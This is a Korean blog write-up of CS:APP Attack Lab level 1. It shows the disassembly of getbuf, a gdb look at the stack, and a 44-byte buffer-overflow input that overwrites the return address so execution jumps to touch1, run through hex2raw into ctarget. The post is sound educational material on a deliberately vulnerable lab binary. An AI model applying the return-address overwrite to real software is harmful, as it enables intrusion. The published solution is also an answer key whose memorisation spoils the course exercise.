Attack Lab - level 1

l_nerd6·2023년 5월 24일
0

[CS:APP] Attack Lab

목록 보기
1/5

문제 설명 파일을 보면 위와 같이 코드가 나와있다. getbuf() 함수의 return 주소를 buffer overflow를 사용해 덮어씌워, getbuf()를 호출한 test() 대신 touch1()로 돌아가도록 만드는 것이 우리의 목표다. 먼저 코드를 disassemble해 어셈블리 코드를 살펴보자.

objdump -d ctarget > ctarget.s

ctarget.s에서 getbuf 부분을 살펴보면 다음과 같다.

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90 

주소값은 사람마다 다를 수 있으니 신경쓸 필요 없다. 0x4017b9를 보면 getbuf()가 함수 자체의 동작을 완료하고 return하려고 stack frame을 0x28(=40) 만큼 증가시키는 것을 볼 수 있다. gdb로 저 시점에 breakpoint를 걸어주고, 아무 string이나 입력한 후 breakpoint까지 가보자. 우선 abcdef를 입력해본다.

getbuf()의 첫줄에서 할당한 스택의 40바이트짜리 공간에 Gets()함수가 입력을 받아왔을 것이다. stack frame을 띄워보자.

우리가 입력한 문자열 abcdef에 해당하는 아스키코드 616263646566이 스택의 맨 위에 위치하고 있는 것을 볼 수 있다. 순서가 거꾸로 된 것은 시스템이 little endian임을 고려하여 gdb가 거꾸로 출력해놓은 것 뿐이다. 0x5561dca00x00401971test()함수로 돌아가기 위한 return address이다. 이를 touch1()의 주소로 바꿔놓아야 한다. 입력이 40바이트를 초과해 %rsp+40에서 %rsp+48에 해당하는 부분을 건드려야 하는 것이다. 다음과 같은 아스키 코드를 가지도록 입력을 시도해보자.

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00

여기서 00은 임의로 정한 문자이고, 길이만 같다면 대신 아무 문자나 들어가도 된다. littel endian 형식에 맞추기 위해 주소가 거꾸로 입력된 것에 유의하자. 정답을 ans.txt에 입력하고, 터미널에 다음을 입력한다.

cat ans.txt | ./hex2raw | ./ctarget

Level 1이 해결되었다.

0개의 댓글